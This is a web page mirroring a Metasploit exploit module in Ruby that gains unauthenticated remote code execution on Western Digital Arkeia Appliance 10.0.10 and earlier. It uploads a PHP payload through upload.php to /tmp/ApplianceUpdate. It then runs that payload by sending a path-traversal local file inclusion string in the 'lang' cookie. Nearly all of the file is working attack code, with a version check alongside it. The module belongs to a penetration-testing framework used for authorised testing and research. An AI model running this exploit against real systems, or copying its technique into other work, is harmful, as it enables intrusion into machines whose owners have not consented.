CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/arkeia_upload_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Western Digital Arkeia Remote Code Execution",
15
'Description' => %q{
16
This module exploits a vulnerability found in Western Digital Arkeia Appliance
17
version 10.0.10 and lower. By abusing the upload.php script,
18
a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp
19
directory without authentication. Abusing the local file inclusion in the lang
20
cookie to parse this file results in arbitrary code execution, also without
21
authentication. The module has been tested successfully on Arkeia 10.0.10. The issues
22
have been fixed in version 10.1.10.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
28
],
29
'References' =>
30
[
31
[ 'OSVDB', '97614' ],
32
[ 'OSVDB', '97615' ],
33
[ 'EDB', '28330' ]
34
],
35
'Platform' => ['php'],
36
'Arch' => ARCH_PHP,
37
'Targets' =>
38
[
39
['Western Digital Arkeia Appliance 10.0.10', {}]
40
],
41
'Privileged' => false,
42
'DisclosureDate' => '2013-09-16',
43
'DefaultTarget' => 0))
44
45
register_options(
46
[
47
OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/'])
48
])
49
end
50
51
def uri
52
return target_uri.path
53
end
54
55
def check
56
# Check version
57
print_status("Trying to detect installed version")
58
59
res = send_request_cgi({
60
'method' => 'GET',
61
'uri' => normalize_uri(uri)
62
})
63
64
if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/
65
version = $1
66
else
67
return Exploit::CheckCode::Unknown
68
end
69
70
vprint_status("Version #{version} detected")
71
72
if version > "10.0.10"
73
return Exploit::CheckCode::Safe
74
end
75
76
# Check for vulnerable component
77
vprint_status("Trying to detect the vulnerable component")
78
79
res = send_request_cgi({
80
'method' => 'GET',
81
'headers' => { 'Cookie' => "lang=fr" },
82
'uri' => normalize_uri(uri)
83
})
84
85
if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/
86
return Exploit::CheckCode::Appears
87
end
88
89
return Exploit::CheckCode::Safe
90
end
91
92
def exploit
93
payload_name = rand_text_alpha(rand(10) + 5)
94
95
post_data = Rex::MIME::Message.new
96
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"")
97
file = post_data.to_s
98
file.strip!
99
100
print_status("Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate")
101
res = send_request_cgi({
102
'method' => 'POST',
103
'uri' => normalize_uri(uri, "scripts", "upload.php"),
104
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
105
'data' => file
106
})
107
108
# If the server returns 200 we assume we uploaded the malicious
109
# file successfully
110
if not res or res.code != 200
111
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
112
end
113
114
register_files_for_cleanup("/tmp/ApplianceUpdate")
115
116
print_status("Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
117
res = send_request_cgi({
118
'method' => 'GET',
119
'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" },
120
'uri' => normalize_uri(uri)
121
})
122
123
# If we don't get a 200 when we request our malicious payload, we suspect
124
# we don't have a shell, either.
125
if res and res.code != 200
126
print_error("Unexpected response, probably the exploit failed")
127
end
128
129
end
130
end
131
132